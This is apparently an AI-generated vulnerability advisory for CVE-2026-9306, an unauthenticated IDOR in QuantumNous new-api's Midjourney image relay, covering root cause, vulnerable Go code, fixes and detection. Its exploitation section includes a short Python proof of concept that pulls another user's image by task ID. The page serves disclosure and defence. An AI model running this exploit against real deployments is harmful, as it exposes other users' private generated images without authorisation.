CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-9306

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

Amit Schendel
Amit Schendel
Senior Security Researcher

May 23, 2026·5 min read·7 visits

Executive Summary (TL;DR)

An architectural flaw in QuantumNous new-api <= 0.12.1 allows unauthenticated attackers to bypass authorization and extract user-generated Midjourney images via the `/mj/image/:id` endpoint using a valid task ID.

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Vulnerability Overview

The QuantumNous new-api application exposes a Midjourney Image Relay endpoint designed to serve generated images to authenticated users. This endpoint, located at /mj/image/:id, operates by taking a user-supplied Midjourney Task ID (mj_id), querying the underlying database for the corresponding image record, and proxying the image data back to the client.

An architectural flaw exists in versions up to and including 0.12.1 where this specific route is registered prior to the application's authentication middleware. Consequently, the endpoint does not enforce token-based authentication, leaving it fully accessible to any external requester.

Furthermore, the backend query executing the data retrieval fails to implement object-level scoping. The database lookup retrieves records based solely on the provided mj_id without verifying if the requested resource belongs to the currently authenticated session context.

The combination of these two flaws results in a complete authentication bypass and an Insecure Direct Object Reference (IDOR) vulnerability. An attacker possessing a valid mj_id can exfiltrate arbitrary user-generated content from the system.

Root Cause Analysis

The root cause of CVE-2026-9306 is divided between the routing layer and the data access layer. The primary failure occurs in router/relay-router.go, where the developer registers the GET route for image retrieval outside the protected router group.

The Gin framework processes middleware sequentially. Because relayMjRouter.GET("/image/:id", relay.RelayMidjourneyImage) is declared before relayMjRouter.Use(middleware.TokenAuth()), the request context bypasses the token validation logic entirely. The request is immediately handed off to the controller handler.

The secondary failure resides in the handler function RelayMidjourneyImage, located in relay/mjproxy_handler.go. This handler extracts the identifier from the URL path and passes it to model.GetByOnlyMJId(taskId). This function executes a database query without asserting ownership over the target record.

The codebase includes a secure alternative function named GetByMJId(userId, mjId), which correctly restricts the SQL query to the requesting user's tenant scope. The failure to utilize this secure function on the image relay endpoint finalizes the conditions required for unauthenticated data access.

Code Analysis

Analysis of the new-api repository reveals the exact location of the middleware misconfiguration. The vulnerable routing logic is defined in router/relay-router.go. The endpoint registration occurs before the middleware application block.

func registerMjRouterGroup(relayMjRouter *gin.RouterGroup) {
    // VULNERABLE: Route registration bypasses authentication
    relayMjRouter.GET("/image/:id", relay.RelayMidjourneyImage)
    
    // TokenAuth is applied after the above route
    relayMjRouter.Use(middleware.TokenAuth(), middleware.Distribute())
    {
        relayMjRouter.POST("/submit/imagine", controller.RelayMidjourney)
        // other protected routes
    }
}

Once the request reaches the controller, the application queries the database using an insecure Object-Relational Mapping (ORM) call. The function GetByOnlyMJId in model/midjourney.go demonstrates the absence of tenant isolation.

func GetByOnlyMJId(mjId string) *Midjourney {
    var mj Midjourney
    // VULNERABLE: Missing 'user_id = ?' constraint
    err := DB.Where("mj_id = ?", mjId).First(&mj).Error
    return &mj
}

To remediate this issue comprehensively, developers must apply two changes. First, the GET /image/:id route must be moved inside the code block governed by relayMjRouter.Use(middleware.TokenAuth()). Second, the handler must be updated to extract the authenticated user ID from the Gin context and utilize model.GetByMJId(userId, taskId) to enforce access controls.

Exploitation Details

Exploiting CVE-2026-9306 requires network reachability to the new-api instance and knowledge of a valid mj_id. The mj_id is typically a predictably formatted string or a timestamp-based identifier utilized by the Midjourney backend.

An external attacker can execute the attack using standard HTTP clients. No session tokens, API keys, or authorization headers are required to construct a successful payload. The exploitation phase relies entirely on traversing the unprotected route.

import requests
 
TARGET_URL = "http://target-api:3000"
VICTIM_MJ_ID = "victim-mj-1775211177224"
 
def exploit():
    leak_url = f"{TARGET_URL}/mj/image/{VICTIM_MJ_ID}"
    resp = requests.get(leak_url, timeout=20)
    
    if resp.status_code == 200 and "image" in resp.headers.get("Content-Type", ""):
        with open("stolen_image.jpg", "wb") as f:
            f.write(resp.content)

Upon receiving the request, the application fetches the image URL from the local database and uses standard Go libraries (io.Copy) to proxy the binary image data back in the HTTP response. The attacker receives the original, unadulterated media file.

Impact Assessment

The vulnerability carries a CVSS 4.0 score of 6.3 (Medium), characterized by the vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P. The confidentiality impact is marked as Low (VC:L) because the exfiltration is strictly limited to image binaries, without exposing credentials or underlying infrastructure.

The High Complexity (AC:H) metric accounts for the attacker's need to obtain or guess a valid mj_id. While the identifiers are not cryptographically secure random numbers, brute-forcing the exact identifier space requires time and specific knowledge of the generation algorithm.

Despite the medium numerical score, the practical risk for SaaS providers using new-api is substantial. A successful attack violates data privacy guarantees, allowing unauthorized parties to harvest potentially sensitive or proprietary AI-generated assets belonging to paying customers.

Remediation and Detection

At the time of disclosure, no official patch is available from the vendor. Organizations running vulnerable instances must manually modify the source code and recompile the binary to restore security. The routing logic in router/relay-router.go must be updated to place the image endpoint behind the TokenAuth middleware.

As an interim mitigation, infrastructure teams can deploy Web Application Firewall (WAF) rules to restrict access. A WAF policy should block all incoming GET requests targeting the /mj/image/ URI path unless a valid Authorization or New-Api-User header is present.

Security teams can verify exposure using Nuclei or similar automated scanners. By sending a request to the /mj/image/placeholder_id path without credentials, scanners can identify vulnerable configurations. A response status of 404 indicates the endpoint is reachable (the database simply lacked the placeholder ID), whereas a 401 or 403 status indicates the authentication middleware is correctly functioning.

Technical Appendix

CVSS Score
6.3/ 10
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Affected Systems

QuantumNous new-api

Affected Versions Detail

Product
Affected Versions
Fixed Version
new-api
QuantumNous
<= 0.12.1-
AttributeDetail
CWE IDCWE-639
Attack VectorNetwork
CVSS 4.06.3
AuthenticationNone Required
ImpactData Exfiltration (Low Confidentiality)
Exploit StatusWeaponized PoC Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1530Data from Cloud Storage
Collection
CWE-639
Authorization Bypass Through User-Controlled Key

The system's authorization model fails to restrict access to a specific resource when an identifier is provided, allowing an attacker to access objects belonging to other users.

Known Exploits & Detection

GitHub GistTechnical Advisory & PoC
NucleiDetection Template Available

Vulnerability Timeline

Vulnerability discovered and technical report (Gist) published by researcher YLChen-007
2026-04-06
CISA KEV status updated
2026-05-22
Official CVE record published via VulDB (CNA)
2026-05-23
Vulnerability publicly disclosed; no vendor patch available
2026-05-23

References & Sources

  • [1]VulDB Entry 365253
  • [2]Technical Advisory & PoC (Gist)
  • [3]GitHub Repository
  • [4]Vulnerable File

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
12 views•6 min read
•1 day ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
3 views•6 min read
•1 day ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
17 views•7 min read
•1 day ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
3 views•6 min read
•2 days ago•GHSA-JQQ5-8PX3-9M6M
6.2

GHSA-JQQ5-8PX3-9M6M: Single-Byte Heap Overflow Bypass in ImageMagick JSON and YAML Encoders

A heap-based buffer overflow vulnerability exists in the JSON and YAML encoders of ImageMagick and Magick.NET. This issue constitutes an incomplete fix for CVE-2026-40169, resulting in a single-byte out-of-bounds write (off-by-one error) during image metadata serialization.

Alon Barad
Alon Barad
4 views•6 min read